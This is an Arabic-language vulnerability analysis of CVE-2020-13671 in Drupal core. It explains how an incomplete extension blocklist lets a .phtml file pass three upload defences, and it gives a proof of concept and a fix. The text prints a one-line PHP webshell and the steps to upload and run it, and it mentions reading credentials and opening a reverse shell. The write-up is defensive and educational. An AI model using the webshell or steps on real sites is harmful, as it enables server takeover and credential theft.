
تحليل مفصّل وإثبات مفهوم لـ CVE-2020-13671، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في نواة Drupal عبر رفع الملفات، بما في ذلك السبب الجذري وخطوات الاستغلال والإصلاح.
البرنامج: Drupal Core 8.7.5 (المتأثر: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (عالية)
CWE: CWE-434 — رفع ملف دون قيود بنوع خطير
CISA KEV: نعم — ثغرة معروفة ومستغلة
النشرة: SA-CORE-2020-012
دروبال هو نظام إدارة محتوى (CMS) مفتوح المصدر مكتوب بلغة PHP، يشبه WordPress أو Joomla لكنه يميل نحو بناء أنظمة أكثر تعقيدًا — مواقع المؤسسات، والمنصات متعددة اللغات. يعتمد دروبال على بنية معيارية (Modular)، تتيح توسيع الوظائف عبر تفعيل/تعطيل الوحدات المتاحة أو تثبيت وحدات إضافية من المجتمع.
من الوظائف الأساسية لأي نظام إدارة محتوى السماح للمستخدمين برفع الملفات — الصور الرمزية للملف الشخصي، المستندات المرفقة، المرفقات في المقالات. يحفظ دروبال هذه الملفات في دليل sites/default/files/ ويقدّمها مباشرة عبر خادم الويب (Apache أو Nginx).
⇒ هذا يخلق سطح هجوم واضحًا: إذا تمكن المهاجم من رفع ملف PHP في ذلك الدليل، فسينفذه خادم الويب عند الوصول إليه عبر طلب وارد.
لمنع ذلك، يبني دروبال عدة طبقات دفاع: التحقق من امتدادات الملفات، إعادة تسمية الملفات الخطيرة، وضع .htaccess لمنع تنفيذ السكربتات في دليل الرفع. لكن في الإصدار 8.7.5، يستغل المهاجمون نقطة عمياء محددة عبر هذه الطبقات.
تتطلب هذه الثغرة حسابًا يملك صلاحيات رفع الملفات. افتراضيًا في Drupal 8.7.5، المستخدمون العاديون (Authenticated) لديهم صلاحيات فقط لعرض المحتوى ونشر التعليقات — لا يملكون صلاحية إنشاء مقالات أو رفع ملفات.
| الحساب | قابل للاستغلال؟ | الشرح |
|---|---|---|
| المسؤول | نعم | صلاحيات رفع كاملة |
| المحرّر / منشئ المحتوى | نعم | إذا مُنح صلاحية «إنشاء محتوى» مع رفع الملفات من قِبل المسؤول |
| المستخدم الموثّق (الافتراضي) | لا | افتراضيًا لا يملك صلاحية إنشاء محتوى أو رفع ملفات |
| مجهول (غير مسجّل الدخول) | لا | لا صلاحية رفع |
ومع ذلك، في الممارسة العملية، تمنح العديد من مواقع دروبال صلاحيات إنشاء المحتوى للمستخدمين العاديين (المنتديات، مدونات المجتمع، مواقع الأخبار التي تسمح بإرسال المقالات). في هذه الحالات، يحتاج المهاجم فقط إلى تسجيل حساب لاستغلال الثغرة.
مسار الهجوم:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
في الملف core/modules/file/file.module، يوجد regex وحيد يحدد الملفات التي تُعتبر قابلة للتنفيذ:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

يسرد هذا regex 7 امتدادات: phar, php, pl, py, cgi, asp, js. أي ملف بامتداد يطابق هذه القائمة سيُلحق به .txt تلقائيًا بواسطة دروبال — مما يحيد القدرة على التنفيذ.
لكن محرك PHP لا يعالج ملفات .php فقط. اعتمادًا على إعدادات خادم الويب، فإنه يتعرف أيضًا على امتدادات أخرى وينفذها:
| الامتداد | المعنى | مشمول في regex؟ |
|---|---|---|
.php | PHP قياسي | نعم |
.phtml | قالب PHP بديل | لا |
.php5 | معالج PHP 5 | لا |
.pht | قالب PHP | لا |
.phps | شفرة PHP المصدرية | لا |
.shtml | تضمينات من جانب الخادم (Server-Side Includes) | لا |
5 أشكال من امتدادات PHP غائبة تمامًا عن regex. هذا يعني أن ملفًا باسم shell.phtml يُرسل إلى دروبال ← regex لا يطابقه ← لا يُعاد تسميته ← يُحفظ باسمه الأصلي في دليل الرفع ← يرى خادم الويب الامتداد .phtml ← ينفذه بصيغة PHP ← يحقق المهاجم RCE. هذا هو السبب الجذري: استخدم دروبال قائمة سوداء لحظر الامتدادات الخطيرة، لكن تلك القائمة كانت غير مكتملة.
عندما يرفع المستخدم ملفًا، يمرره دروبال عبر 3 دوال تحقق قبل الحفظ. فيما يلي تحليل لسبب فشل الثلاث جميعًا مع .phtml.
file_munge_filename() (core/includes/file.inc)الغرض: كشف الامتدادات الخطيرة الموجودة في منتصف اسم الملف وإلحاق _ لتعطيلها. كيف تعمل الدالة:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
على سبيل المثال مع shell.phtml:
explode يقسم إلى ["shell", "phtml"]shift يأخذ "shell"، تاركًا ["phtml"]pop يأخذ "phtml"، تاركًا []foreach لا ينفَّذ"shell.phtml" كما هيلكن إذا كان الملف يحمل امتدادًا واحدًا فقط، فإنها لا تتدخل. وبالتالي، صُممت هذه الدالة فقط للتعامل مع الملفات متعددة الامتدادات.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)هذه هي طبقة الدفاع الرئيسية. الكود عند السطر 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
إذا طابق اسم الملف regex ← يتم تغيير نوع MIME إلى text/plain وإلحاق .txt في النهاية.
مع shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') يُرجع 0if ← يحتفظ الملف باسمه الأصلي
وبالتالي، كان ينبغي لهذا القسم حظر الملفات الخطيرة، لكن لأن regex لا يعرف أن .phtml خطير، فإنه ينفذ مباشرة..htaccess في دليل الرفعيضع دروبال ملف .htaccess في sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
توجيه php_flag engine off يوقف محرك PHP للدليل بأكمله، لكنه ينطبق فقط على mod_php5. يعمل Drupal 8.7.5 على PHP 7، مما يعني أن mod_php7 نشط وغير معطَّل.
كما أن لدى .htaccess 3 نقاط ضعف أخرى:
.htaccess — هذا الملف غير فعّال تمامًا على NginxAllowOverride None ← يتم تجاهل .htaccessmod_php ← توجيه php_flag لا تأثير لهecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
سجّل الدخول إلى دروبال بحساب يملك صلاحيات الرفع ← المحتوى ← إضافة محتوى ← مقال ← في حقل الصورة، حدد الملف webshell.phtml ← رفع.
يقبل دروبال الملف، ولا يعيد تسميته، ويحفظه باسمه الأصلي في sites/default/files/.

بعد ذلك، نفّذ استدعاء الشل مع whoami:

وهكذا، نجحنا في تحقيق RCE بصلاحيات www-data.
مزيد من الاختبارات لعرض بيانات الاعتماد:

يمكن للمهاجم قراءة settings.php الذي يحتوي على بيانات اعتماد قاعدة البيانات، وتفريغ قاعدة البيانات بالكامل، أو تثبيت شل عكسي (reverse shell)، أو تصعيد الصلاحيات إلى الجذر (root).
حدّث regex — أضف الامتدادات الخمسة المفقودة:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
حدّث .htaccess — أضف تعطيلًا لـ mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
يعمل التصحيح لكنه ما زال يعتمد على قائمة سوداء. إذا ظهرت امتدادات جديدة في المستقبل (.php8, .phpt)، فستحتاج regex إلى تحديث مرة أخرى. القائمة البيضاء — السماح فقط بالامتدادات الآمنة المعروفة — ستكون نهجًا أكثر شمولًا.
| الملف القابل للاستغلال | core/modules/file/file.module السطر 28 |
|---|---|
| السبب الجذري | قائمة regex السوداء تفتقد إلى .phtml, .php5, .pht, .phps, .shtml |
| الأثر | رفع .phtml ← ينفذه الخادم ← RCE |
| طبقات الدفاع الثلاث التي تم تجاوزها | file_munge_filename() ← FILE_INSECURE_EXTENSION_REGEX ← .htaccess |
| التصحيح | إضافة 5 امتدادات إلى regex + تعطيل mod_php7 في .htaccess |